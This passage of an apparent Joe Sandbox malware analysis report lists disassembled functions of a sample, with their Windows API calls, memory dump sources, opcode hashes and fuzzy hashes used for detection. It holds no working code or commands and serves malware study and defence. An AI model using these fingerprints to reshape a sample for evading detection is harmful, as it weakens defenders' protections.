Part of subcall function 000A0DA5: ResetEvent.KERNEL32(0009EBC4,00000000,?,0009EB65,?,?,?,?,?,?,?,?,?,?,76ECFFB0), ref: 000A0E00

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,76ECFFB0,?,0009EBC4,00000000), ref: 0009E9F2

Part of subcall function 0009F4A8: WaitForSingleObject.KERNEL32(?,?,?,?,?,?,0009EBC4,00000001,00000000,?,0009EB01), ref: 0009F4CE

Strings

(, xrefs: 0009EA37

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: ObjectSingleWait$EventReset
String ID: (
API String ID: 466820088-3887548279
Opcode ID: d60740b37acc70e728bb4ec7632b1accd4056392f298b12b396b38b5dba0aabf
Instruction ID: 253abc1ef5e86a0e8ffb95eda49887cefa298cb89540f17e15a3e8693a6209cc
Opcode Fuzzy Hash: d60740b37acc70e728bb4ec7632b1accd4056392f298b12b396b38b5dba0aabf
Instruction Fuzzy Hash: F061AF71E043958BEFB0DAA4C8843BFB6E5BF45720F15883AE89697291C635DC40B753

Function 000A090B Relevance: 10.6, APIs: 7, Instructions: 109sleepthreadCOMMON

Download Yara Rule

APIs

TlsSetValue.KERNEL32 ref: 000A094C
GetCurrentThreadId.KERNEL32 ref: 000A0954

Part of subcall function 0009F7B0: GetCurrentThreadId.KERNEL32 ref: 0009F7DE

_setjmp3.MSVCRT ref: 000A0977
CloseHandle.KERNEL32 ref: 000A09EF
TlsSetValue.KERNEL32(00000000), ref: 000A0A33
Sleep.KERNEL32(?,?), ref: 000A0A73
_endthreadex.MSVCRT ref: 000A0A7F

Part of subcall function 0009F7B0: SetEvent.KERNEL32(00000000,?,?,0009FF26,?,?,?,00000000,00000000,?,0009FF43), ref: 0009F814

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: CurrentThreadValue$CloseEventHandleSleep_endthreadex_setjmp3
String ID:
API String ID: 291999405-0
Opcode ID: 5a8043b12f97d992ef3704f5fbbb340c848464e653a68b7a33d157480c8aba07
Instruction ID: a9c0433e8b7a96d59ca796e53d7c1538a8635b7801b0a6c6e8c8722dea45b341
Opcode Fuzzy Hash: 5a8043b12f97d992ef3704f5fbbb340c848464e653a68b7a33d157480c8aba07
Instruction Fuzzy Hash: AE41C8B49083069FDB44AFA4D9859AEFBF5BF09300F01886DE895DB312D778D841DB92

Function 000A0BC9 Relevance: 10.6, APIs: 7, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0009FF35: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,000A0564), ref: 0009FF4B
Part of subcall function 0009FF35: GetCurrentThreadId.KERNEL32 ref: 0009FF74
Part of subcall function 0009FF35: CreateEventA.KERNEL32 ref: 0009FF92
Part of subcall function 0009FF35: GetCurrentThread.KERNEL32 ref: 0009FFC2
Part of subcall function 0009FF35: DuplicateHandle.KERNELBASE ref: 0009FFF3
Part of subcall function 0009FF35: abort.MSVCRT(00000000,00000000), ref: 000A0000
Part of subcall function 0009FF35: GetThreadPriority.KERNEL32(00000000,00000000), ref: 000A000B
Part of subcall function 0009FF35: TlsSetValue.KERNEL32 ref: 000A0032

longjmp.MSVCRT ref: 000A0C00
TlsGetValue.KERNEL32(?,0000001C,?,000A0D4E,?,?,00000000,?,000A0E14,0009EBC4,00000000,?,0009EB65), ref: 000A0C0E
CloseHandle.KERNEL32(?,?,000A0D4E,?,?,00000000,?,000A0E14,0009EBC4,00000000,?,0009EB65), ref: 000A0C31
CloseHandle.KERNEL32(?,?,000A0D4E,?,?,00000000,?,000A0E14,0009EBC4,00000000,?,0009EB65), ref: 000A0C53
CloseHandle.KERNEL32(?,?,000A0D4E,?,?,00000000,?,000A0E14,0009EBC4,00000000,?,0009EB65), ref: 000A0C71
TlsSetValue.KERNEL32(?,?,?,000A0D4E,?,?,00000000,?,000A0E14,0009EBC4,00000000,?,0009EB65), ref: 000A0C92
_endthreadex.MSVCRT(?,?,000A0D4E,?,?,00000000,?,000A0E14,0009EBC4,00000000,?,0009EB65), ref: 000A0C9D

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: HandleValue$CloseThread$Current$CreateDuplicateEventPriority_endthreadexabortlongjmp
String ID:
API String ID: 2786978526-0
Opcode ID: 311efcfc5ff9a09fd7feb3bf2a616ca45cbf33343086d0af48fdc9da908c160f
Instruction ID: 0222b336c2ea6021cffb591b6d72146093929072468cff2e71056ff6982f8c52
Opcode Fuzzy Hash: 311efcfc5ff9a09fd7feb3bf2a616ca45cbf33343086d0af48fdc9da908c160f
Instruction Fuzzy Hash: 67213AB0515305CFDB45AFB4C98876A7FE4FF09350F4589A8E888CB216E774D880CB92

Function 000A1C6A Relevance: 10.5, APIs: 7, Instructions: 48COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 000A1C7E
GetCurrentProcessId.KERNEL32 ref: 000A1C90
OpenProcess.KERNEL32 ref: 000A1CAB
GetLastError.KERNEL32 ref: 000A1CB8
_errno.MSVCRT ref: 000A1CCD
CloseHandle.KERNEL32 ref: 000A1CDD
_errno.MSVCRT ref: 000A1CE8

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: _errno$Process$CloseCurrentErrorHandleLastOpen
String ID:
API String ID: 1444142086-0
Opcode ID: 85f577464e2c1c1eb9b2fb4d262bdfe73e8ea66684e5a559713fa878a24e40f0
Instruction ID: bcc21e2a388950f4939afb063bfc7726be65ee1a41abbf88ce7437bc86f65619
Opcode Fuzzy Hash: 85f577464e2c1c1eb9b2fb4d262bdfe73e8ea66684e5a559713fa878a24e40f0
Instruction Fuzzy Hash: F4018C704053118FDB206FE5DA883DABFE4FF06371F40822AEC5583261D77588808AA3

Function 00096CCC Relevance: 9.1, APIs: 6, Instructions: 109memoryCOMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00096CED
vfprintf.MSVCRT ref: 00096D0C
abort.MSVCRT(?,?,00905A4D,?,0009702B), ref: 00096D11
VirtualQuery.KERNEL32 ref: 00096DA2
VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,001183D0,00000000,00905A4D), ref: 00096E12
GetLastError.KERNEL32 ref: 00096E1F

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQueryabortfputsvfprintf
String ID:
API String ID: 4170836266-0
Opcode ID: 7fb43a42b556fa760fd9e8cccb7f3722dc22c6a7136ef2211995220359847b36
Instruction ID: 28acd0d790b0df9c8164f6e19d3d51c6f244defb6094faa3f4fcbddb0b0973da
Opcode Fuzzy Hash: 7fb43a42b556fa760fd9e8cccb7f3722dc22c6a7136ef2211995220359847b36
Instruction Fuzzy Hash: ED4149719053059FCB14EF69D5856ADFBF5FF84314F11C92DE8988B322E73498409B52

Function 000A0774 Relevance: 8.9, APIs: 7, Instructions: 123COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 000A07FA
CloseHandle.KERNEL32 ref: 000A0838
CloseHandle.KERNEL32 ref: 000A0845
TlsSetValue.KERNEL32 ref: 000A0877
CloseHandle.KERNEL32 ref: 000A0891
CloseHandle.KERNEL32 ref: 000A08C8
CloseHandle.KERNEL32 ref: 000A08DB

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: CloseHandle$Value
String ID:
API String ID: 2076415241-0
Opcode ID: 165ee23ecf9f5b91185302278750f57d53608d52b61c944e7e342a5562d69193
Instruction ID: f1a7bcc843002ab190e894210a00d50089ed93eaf81af5b00760167fb36131d0
Opcode Fuzzy Hash: 165ee23ecf9f5b91185302278750f57d53608d52b61c944e7e342a5562d69193
Instruction Fuzzy Hash: A2415170A04306CFDB54EFB8D9C46AE7BE4BF45350F008469E894CB652EB79D880CB95

Function 00097EE8 Relevance: 7.6, APIs: 5, Instructions: 120COMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 00097F69
abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,00107BF2), ref: 00097F74
realloc.MSVCRT ref: 00097F9E
malloc.MSVCRT ref: 00097FF2
malloc.MSVCRT ref: 00098010

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: malloc$abortcallocrealloc
String ID:
API String ID: 2175960609-0
Opcode ID: 2895b348f580c338ca2d1f585dbe9dce934fb7dedb7b2df42b92ea9efae59efe
Instruction ID: a178b84d775fd9f56de285957a0c9fbd97d81a44c932d67f0169fe5322fc1e99
Opcode Fuzzy Hash: 2895b348f580c338ca2d1f585dbe9dce934fb7dedb7b2df42b92ea9efae59efe
Instruction Fuzzy Hash: 44419D75A082158FCF14DF68C0944ADBBF5FF88350B068569E889AB311EB34ED45DB81

Function 000A0901 Relevance: 7.6, APIs: 5, Instructions: 98sleepthreadCOMMON

Download Yara Rule

APIs

TlsSetValue.KERNEL32 ref: 000A094C
GetCurrentThreadId.KERNEL32 ref: 000A0954

Part of subcall function 0009F7B0: GetCurrentThreadId.KERNEL32 ref: 0009F7DE

_setjmp3.MSVCRT ref: 000A0977
CloseHandle.KERNEL32 ref: 000A09EF
TlsSetValue.KERNEL32(00000000), ref: 000A0A33
Sleep.KERNEL32(?,?), ref: 000A0A73
_endthreadex.MSVCRT ref: 000A0A7F

Part of subcall function 0009F7B0: SetEvent.KERNEL32(00000000,?,?,0009FF26,?,?,?,00000000,00000000,?,0009FF43), ref: 0009F814

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: CurrentThreadValue$CloseEventHandleSleep_endthreadex_setjmp3
String ID:
API String ID: 291999405-0
Opcode ID: 6e9f861fdc2a78d2ce08bbc0165876c173d77bad04f4fb2e229f5d3ead435158
Instruction ID: f6aa1b42c5d11e45a1be634059afd5ad41d94978234da827819fbdc33361d03c
Opcode Fuzzy Hash: 6e9f861fdc2a78d2ce08bbc0165876c173d77bad04f4fb2e229f5d3ead435158
Instruction Fuzzy Hash: C341B7B49082069FDB44EFA4C9859AEFBF5BF09300F01886DE994DB312E778D841DB52

Function 000970EC Relevance: 7.6, APIs: 5, Instructions: 90COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 00097154
signal.MSVCRT ref: 00097190
signal.MSVCRT ref: 000971A9
signal.MSVCRT ref: 000971D3
signal.MSVCRT ref: 000971EC

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: 7482670a70164b940e23ccbaa877c83c5b437a5bbcd3c1502ee5f95847c91ddf
Instruction ID: d3f6257d049184edf1ef6b2a85e8dc8d1d7de5315154c3271c00f31fafb36dec
Opcode Fuzzy Hash: 7482670a70164b940e23ccbaa877c83c5b437a5bbcd3c1502ee5f95847c91ddf
Instruction Fuzzy Hash: 39318EB293C2008BEF646B68C44036E76D0AB41714F25481AE9EDCB296C73AC8C0B663

Function 0009F630 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 3d3c557f3bda7dfd314295b347595dedd25b5ca988b5be9b5838f99ab63819e8
Instruction ID: 71ce8d831164c97cbce94815360e29ba71915e2cbdaaf7baa809cd670ce802a1
Opcode Fuzzy Hash: 3d3c557f3bda7dfd314295b347595dedd25b5ca988b5be9b5838f99ab63819e8
Instruction Fuzzy Hash: 1D314F30A093029FDF699F69D9442BAB6E0AF84354F14C479E459CB215EB74C881EB52

Function 0009E4C4 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,00000001,?,?,0009EFF3,00000000), ref: 0009E4D7
LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,?,00000001,?,?,0009EFF3,00000000), ref: 0009E50D
LeaveCriticalSection.KERNEL32(00000000), ref: 0009E526

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: CriticalSection$Leave$Enter
String ID:
API String ID: 2978645861-0
Opcode ID: 2c69fd08f25be73aafa459358b10dc8fa79b018021282ef411a38740e30bf4e8
Instruction ID: 15443270b56691cc7e2913a5e65bd577f98164b81c386e4ad82196e00e4fd250
Opcode Fuzzy Hash: 2c69fd08f25be73aafa459358b10dc8fa79b018021282ef411a38740e30bf4e8
Instruction Fuzzy Hash: 2D115BB0A046159FCB04DF6DDC846AEBBE8FF48714F418629E559C7310E634DD419B92

Function 000AAB4C Relevance: 7.6, APIs: 5, Instructions: 68stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 000AAB86
strlen.MSVCRT ref: 000AAB91
setlocale.MSVCRT ref: 000AABC5
strftime.MSVCRT ref: 000AABE5
setlocale.MSVCRT ref: 000AABF9

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: setlocale$strftimestrlen
String ID:
API String ID: 2773559992-0
Opcode ID: 67610784cc483773e49284b6d3509df2012333c5b18dc42e63b9fbdc1b5eaa19
Instruction ID: 9fa024b720e16d31dfb069e5e78e79b26da732e102bbd26b4b2bc3690670a753
Opcode Fuzzy Hash: 67610784cc483773e49284b6d3509df2012333c5b18dc42e63b9fbdc1b5eaa19
Instruction Fuzzy Hash: 0631A2B4D093489FCF44EFA8C58569DBBF0AF48310F018829E898A7342E7749981DB56

Function 000AAE0C Relevance: 7.6, APIs: 5, Instructions: 68stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 000AAE46
strlen.MSVCRT ref: 000AAE51
setlocale.MSVCRT ref: 000AAE85
wcsftime.MSVCRT ref: 000AAEA5
setlocale.MSVCRT ref: 000AAEB9

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: setlocale$strlenwcsftime
String ID:
API String ID: 64219055-0
Opcode ID: 66792fdde5951ba735ef744d303f0e9b3fdde68fa0ce529209ebacf20410624d
Instruction ID: 4abcdc967144e7ff0fc2d66ebd1a3b9452da5025c450ce401273fe9eee0d52ba
Opcode Fuzzy Hash: 66792fdde5951ba735ef744d303f0e9b3fdde68fa0ce529209ebacf20410624d
Instruction Fuzzy Hash: CA319FB4D083489FCB44EFA8C58559EBBF0AF48310F01882EE898A7342E7749981DB56

Function 0010423C Relevance: 7.6, APIs: 5, Instructions: 54stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 00104254
strcmp.MSVCRT ref: 00104266
strlen.MSVCRT ref: 00104272
setlocale.MSVCRT ref: 0010429D
setlocale.MSVCRT ref: 001042D3

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: setlocale$strcmpstrlen
String ID:
API String ID: 3672321321-0
Opcode ID: f22598b756730db8b54f09ec2e658ffbbd6694c59cb5b137a0cb8bb92d2907eb
Instruction ID: 7385d73e45c3d57deb404657e1a534d1ec39b1c9916840a1a48f42c7e3c24d8b
Opcode Fuzzy Hash: f22598b756730db8b54f09ec2e658ffbbd6694c59cb5b137a0cb8bb92d2907eb
Instruction Fuzzy Hash: 2711F5B0A083459FCB04FFA5D58569EBBE4AF58350F01883DFAC887342EBB49840DB56

Function 000A4DF8 Relevance: 7.6, APIs: 5, Instructions: 54stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 000A4E19
malloc.MSVCRT ref: 000A4E25
_vsnprintf.MSVCRT ref: 000A4E56
realloc.MSVCRT ref: 000A4E6A
free.MSVCRT ref: 000A4E80

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: _vsnprintffreemallocreallocstrlen
String ID:
API String ID: 2333638281-0
Opcode ID: 37330a604254a0719df7120e52ab6f769286636dc7b010894a82630928598e30
Instruction ID: 8d509a3a7546275a89ecf3dcb6d89f311a8b17f9946007e357bd9e1d62ee40ca
Opcode Fuzzy Hash: 37330a604254a0719df7120e52ab6f769286636dc7b010894a82630928598e30
Instruction Fuzzy Hash: 891165755047109BDB10FFA9C48556DBBD8BF92364F11862EF894C7282DBB4D9408B92

Function 000A1BFD Relevance: 7.5, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 000A1C0F
OpenProcess.KERNEL32 ref: 000A1C2A
GetLastError.KERNEL32 ref: 000A1C37
_errno.MSVCRT ref: 000A1C4C

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: Process$CurrentErrorLastOpen_errno
String ID:
API String ID: 1035239118-0
Opcode ID: 2206c3af51ea6db15ca07667f14fa9776263940582dba4714e357ae033429216
Instruction ID: bc5e2fc6ae40a51349e1e4fc63476d80f1468f2ab6c318abbd821673c77ad2cd
Opcode Fuzzy Hash: 2206c3af51ea6db15ca07667f14fa9776263940582dba4714e357ae033429216
Instruction Fuzzy Hash: CBF0F670504301DBC714AFF4CAC82DD7FF4BF093A5F508528E547C2262E63588809B27

Function 008A7546 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 72fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(00000000,?,00000000), ref: 008A7607

Strings

OR, xrefs: 008A758A
JC, xrefs: 008A7592
B\, xrefs: 008A759A

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: CopyFile
String ID: B\$JC$OR
API String ID: 1304948518-2992266057
Opcode ID: 072c29c89573715b63317ccef32219ba3f5702ceda53dc4b801d2110b2984a8e
Instruction ID: b577b94d00a7a92632f33daf74c40e4b6e7d731e677c61eff7b0b9e8c969a2ea
Opcode Fuzzy Hash: 072c29c89573715b63317ccef32219ba3f5702ceda53dc4b801d2110b2984a8e
Instruction Fuzzy Hash: 1321AD74649310DFD3209FA4A816B5BBBF0FB85300F40A82CE1D58A2A1EB78851ADB47

Function 000EB400 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_read.MSVCRT ref: 000EB431

Strings

random_device could not be read, xrefs: 000EB44E

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

